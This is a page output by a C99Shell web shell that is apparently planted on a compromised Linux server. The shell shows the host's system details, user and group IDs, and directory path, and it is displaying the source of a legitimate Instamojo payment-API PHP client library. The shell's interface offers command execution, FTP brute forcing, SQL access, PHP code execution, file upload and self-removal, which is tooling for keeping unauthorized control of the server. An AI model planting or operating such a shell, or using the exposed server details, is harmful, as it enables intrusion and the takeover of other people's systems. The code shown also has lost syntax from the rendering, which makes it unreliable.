!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/classify.picotech.app/public_html/vendor/instamojo/instamojo-php/src/   drwxr-xr-x
Free 29.11 GB of 117.98 GB (24.67%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Instamojo.php (13.85 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Instamojo;

use 
Instamojo\Exceptions\AuthenticationException;
use 
Instamojo\Exceptions\InvalidRequestException;
use 
Instamojo\Exceptions\MissingParameterException;

final class 
Instamojo {
    
// Constants
    
const API_VERSION         '2';
    const 
VALID_TYPES         = ['app''user'];
    const 
TEST_BASE_URL       'https://test.instamojo.com/';
    const 
PRODUCTION_BASE_URL 'https://api.instamojo.com/';
    
    const 
URIS = [
        
'auth'              => 'oauth2/token/',
        
'payments'          => 'v'.self::API_VERSION.'/payments/',
        
'payment_requests'  => 'v'.self::API_VERSION.'/payment_requests/',
        
'gateway_orders'    => 'v'.self::API_VERSION.'/gateway/orders/',
        
'refunds'           => 'v'.self::API_VERSION.'/refunds/',
    ];

    
// Static Variables

    /**
     * @property string
     * 
     */
    
private static $apiVersion;

    
/**
     * @property string
     * 
     */
    
private static $authType;

    
/**
     * @property string
     * 
     */
    
private static $baseUrl;

    
/**
     * @property string
     * 
     */
    
private static $clientId;

    
/**
     * @property string
     * 
     */
    
private static $clientSecret;

    
/**
     * @property string
     * 
     */
    
private static $username;

    
/**
     * @property string
     * 
     */
    
private static $password;

    
/**
     * @property string
     * 
     */
    
private static $accessToken;

    
/**
     * @property string
     * 
     */
    
private static $refreshToken;

    
/**
     * @property string
     * 
     */
    
private static $scope;

    
/**
     * @property Instamojo
     * 
     */
    
private static $thisObj;

    
/**
     * @return string
     * 
     */
    
public function getAuthType()
    {
        return 
self::$authType;
    }

    
/**
     * @return string
     * 
     */
    
public function getClientId()
    {
        return 
self::$clientId;
    }

    
/**
     * @return string
     * 
     */
    
public function getClientSecret()
    {
        return 
self::$clientSecret;
    }

    
/**
     * @return string
     * 
     */
    
public function getAccessToken()
    {
        return 
self::$accessToken;
    }

    
/**
     * @return string
     * 
     */
    
public function getRefreshToken()
    {
        return 
self::$refreshToken;
    }

    
/**
     * @return string
     * 
     */
    
public function getBaseUrl()
    {
        return 
self::$baseUrl;
    }

    
/**
     * @return string
     * 
     */
    
public function getScope()
    {
        return 
self::$scope;
    }

    
/**
     * @return string
     * 
     */
    
public function __toString()
    {
        return 
sprintf(
            
'Instamojo {'.
            
'\nauth_type=%s,'.
            
'\nclient_id=%s,'.
            
'\nclient_secret=%s,'.
            
'\nbase_url=%s,'.
            
'\naccess_token=%s'.
            
'\n}',
            
$this->getAuthType(),
            
$this->getClientId(),
            
$this->getClientSecret(),
            
$this->getBaseUrl(),
            
$this->getAccessToken()
        );
    }

    
/**
     * __costruct method is defined as private,
     * so "new Instamojo()" will not work
     */
    
private function __construct() {}

    
/**
     * Initializes the Instamojo environment with default values 
     * and returns a singleton object of Instamojo class.
     * 
     * @param $type 
     * @param $params
     * @param $test
     * 
     * @return Instamojo
     */
    
static function init($type='app'$params$test=false)
    {
        
self::validateTypeParams($type$params);
        
self::$authType     $type;
        
self::$clientId     $params['client_id'];
        
self::$clientSecret $params['client_secret'];
        
self::$username     = isset($params['username']) ? $params['username'] : '';
        
self::$password     = isset($params['password']) ? $params['password'] : '';
        
self::$baseUrl      Instamojo::PRODUCTION_BASE_URL;
        
self::$scope        = isset($params['scope']) ? $params['scope'] : null;

        if (
$test) {
            
self::$baseUrl Instamojo::TEST_BASE_URL;
        }

        
self::$thisObj = new Instamojo();

        
$auth_response self::$thisObj->auth();
        
        
self::$accessToken  $auth_response['access_token'];
        
self::$refreshToken = isset($auth_response['refresh_token']) ? $auth_response['refresh_token'] : '';
        
self::$scope = isset($auth_response['scope']) ? $auth_response['scope'] : '';

        return 
self::$thisObj;
    }

    
/**
     * Validates params for Instamojo initialization
     * 
     * @param $type
     * @param $params
     * 
     * @return null
     * 
     * @throws InvalidRequestException 
     * @throws MissingParameterException
     * 
     */
    
private static function validateTypeParams($type$params)
    {
        if (!
in_array(strtolower($type), Instamojo::VALID_TYPES)) {
            throw new 
InvalidRequestException('Invalid init type');
        }

        if (empty(
$params['client_id'])) {
            throw new 
MissingParameterException('Client Id is missing');
        }

        if (empty(
$params['client_secret'])) {
            throw new 
MissingParameterException('Client Secret is missing');
        }

        if (
strtolower($type) == 'user') {
            if (empty(
$params['username'])) {
                throw new 
MissingParameterException('Username is missing');
            }

            if (empty(
$params['password'])) {
                throw new 
MissingParameterException('Password is missing');
            }
        }
    }

    
/**
     * Initializes baseUrl property of Instamojo class
     * 
     * @return object
     */
    
public function withBaseUrl($baseUrl
    {
        
self::$baseUrl $baseUrl;
        return 
$this;
    }

    
/**
     * Build headers for api request
     * 
     * @return array
     */
    
private function build_headers($auth=false
    {
        
$headers = [];

        if(!
$auth && empty(Instamojo::$accessToken)) {
            throw new 
InvalidRequestException('Access token not available');
        }

        
$headers[] = 'Authorization: Bearer '.Instamojo::$accessToken;

        return 
$headers;        
    }

    
/**
     * Requests api data
     * 
     * @param $method
     * @param $path
     * @param $data
     * 
     * @return array
     * 
     */
    
private function request_api_data($method$path$data=[])
    {
        
$headers $this->build_headers(Instamojo::URIS['auth'] == $path);

        
$url self::$baseUrl $path;
        
        return 
api_request($method$url$data$headers);
    }

    
/**
     * Make auth request
     * 
     * @return array
     * 
     * @throws Exception
     * 
     */
    
public function auth($refresh=false) {
        
$data = [
            
'client_id'     => self::$clientId,
            
'client_secret' => self::$clientSecret,
        ];

        if (
$refresh) {
            
$data['grant_type']    = 'refresh_token';
            
$data['refresh_token'] = self::$refreshToken;
        } else {
            switch(
self::$authType) {
                case 
'app':
                    
$data['grant_type'] = 'client_credentials';
                break;

                case 
'user':
                    
$data['grant_type'] = 'password';
                    
$data['username'] = self::$username;
                    
$data['password'] = self::$password;
                break;
            };
        }

        if(
self::$scope !=null ) {

            
$data['scope'] = self::$scope;
        }
        
        
$response $this->request_api_data('POST'Instamojo::URIS['auth'], $data);
        
        
// check for access token
        
if (!isset($response['access_token'])) {
            throw new 
AuthenticationException();
        }

        
// check refresh token, incase of auth refresh
        
if ($refresh) {
            if (!isset(
$response['refresh_token'])) {
                throw new 
AuthenticationException();
            } else {
                
self::$refreshToken $response['refresh_token'];
            }
        }

        
self::$accessToken $response['access_token'];

        return 
$response;
    }

    
/**
     * Get payments
     * 
     * @return array
     * 
     */
    
public function getPayments($limit=null$page=null) {
        
$data = [];

        
// Check per_page limit
        
if (!is_null($limit)) {
            
$data['limit'] = $limit;
        }

        
// Check page number
        
if (!is_null($page)) {
            
$data['page'] = $page;
        }

        
$response $this->request_api_data('GET'Instamojo::URIS['payments'], $data);

        return 
$response['payments'];
    }

    
/**
     * Get details of payment
     * 
     * @return object
     * 
     */
    
public function getPaymentDetails($id) {
        return 
$this->request_api_data('GET'Instamojo::URIS['payments'] . $id '/');
    }

    
/**
     * Get refund request for a payment
     * 
     * @param $payment_id
     * @param $params
     * 
     * @return array
     */
    
public function createRefundForPayment($payment_id$params)
    {
        
$data = [];

        
// transaction id
        
$data['transaction_id'] = (!empty($params['transaction_id'])) ? $params['transaction_id'] : null;

        
// refund type
        
$data['type'] = (!empty($params['type'])) ? $params['type'] : null;

        
// explaination body
        
$data['body'] = (!empty($params['body'])) ? $params['body'] : null;

        
// refund amount
        
$data['refund_amount'] = (!empty($params['refund_amount'])) ? $params['refund_amount'] : null;
       
        
$response $this->request_api_data('POST'Instamojo::URIS['payments'] . $payment_id '/refund/'$data);

         return 
$response;
    }

    
/**
     * Create payment request
     * 
     * @param $params
     * 
     * @return array
     * 
     */
    
public function createPaymentRequest($params)
    {
        
$response $this->request_api_data('POST'Instamojo::URIS['payment_requests'], $params);
        
        return 
$response;
    }

    
/**
     * get payment request
     * 
     * @param $params
     * 
     * @return array
     * 
     */
    
public function getPaymentRequests($limit=null$page=null)
    {
        
$data = [];

        
// Check per_page limit
        
if (!is_null($limit)) {
            
$data['limit'] = $limit;
        }

        
// Check page number
        
if (!is_null($page)) {
            
$data['page'] = $page;
        }
      
        
$response $this->request_api_data('GET'Instamojo::URIS['payment_requests'], $data);
        
        return 
$response['payment_requests'];
    }

    
/**
     * Get gateway order
     * 
     * @param $id
     * 
     * @return array
     * 
     */
    
public function getPaymentRequestDetails($id)
    {

        
$response $this->request_api_data('GET'Instamojo::URIS['payment_requests'] . $id .'/');
        
        return 
$response;
    }

    
/**
     * Create gateway order
     * 
     * @param $params
     * 
     * @return array
     * 
     */
    
public function createGatewayOrder($params)
    {
        
$response $this->request_api_data('POST'Instamojo::URIS['gateway_orders'], $params);
        
        return 
$response;
    }

    
/**
     * Create gateway order for payment request
     * 
     * @param $payment_request_id
     * @param $params
     * 
     * @return array
     * 
     */
    
public function createGatewayOrderForPaymentRequest($payment_request_id$params)
    {
        
// payment request id
        
$data = [
            
'id' => $payment_request_id
        
];

        
// name
        
$data['name'] = (!empty($params['name'])) ? $params['name'] : null;

        
// email
        
$data['email'] = (!empty($params['email'])) ? $params['email'] : null;

        
// phone
        
$data['phone'] = (!empty($params['phone'])) ? $params['phone'] : null;
        
        
$response $this->request_api_data('POST'Instamojo::URIS['gateway_orders'] . 'payment-request/'$data);
        
        return 
$response;
    }

    
/**
     * Get gateway order
     * 
     * @param $id
     * 
     * @return array
     * 
     */
    
public function getGatewayOrder($id)
    {
        
$response $this->request_api_data('GET'Instamojo::URIS['gateway_orders'] . 'id:$id/');
        
        return 
$response;
    }

    
/**
     * Get gateway orders list
     * 
     * @param $limit
     * @param $page
     * 
     * @return array
     * 
     */
    
public function getGatewayOrders($limit=null$page=null) {
        
$data = [];

        
// Check per_page limit
        
if (!is_null($limit)) {
            
$data['limit'] = $limit;
        }

        
// Check page number
        
if (!is_null($page)) {
            
$data['page'] = $page;
        }

        
$response $this->request_api_data('GET'Instamojo::URIS['gateway_orders'], $data);

        return 
$response['orders'];
    }

    
/**
     * Get refunds
     * 
     * @param $limit
     * @param $page
     * 
     * @return array
     * 
     */
    
public function getRefunds($limit=null$page=null) {

        
$data = [];

        
// Check per_page limit
        
if (!is_null($limit)) {
            
$data['limit'] = $limit;
        }

        
// Check page number
        
if (!is_null($page)) {
            
$data['page'] = $page;
        }

        
$response $this->request_api_data('GET'Instamojo::URIS['refunds'], $data);

        return 
$response['refunds'];
    }

    
/**
     * Get details of refund
     * 
     * @param $id
     * 
     * @return object
     * 
     */
    
public function getRefundDetails($id) {
        return 
$this->request_api_data('GET'Instamojo::URIS['refunds'] . $id '/');
    }

    
/**
     * __clone method is defined as private,
     * so nobody can clone the instance
     */
    
private function __clone() {}

    
/**
     * __wakeup method is defined as private,
     * so nobody can unserialize the instance
     */
    
private function __wakeup() {}

    
/**
     * __sleep method is defined as private,
     * so nobody can serialize the instance
     */
    
private function __sleep() {}
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.006 ]--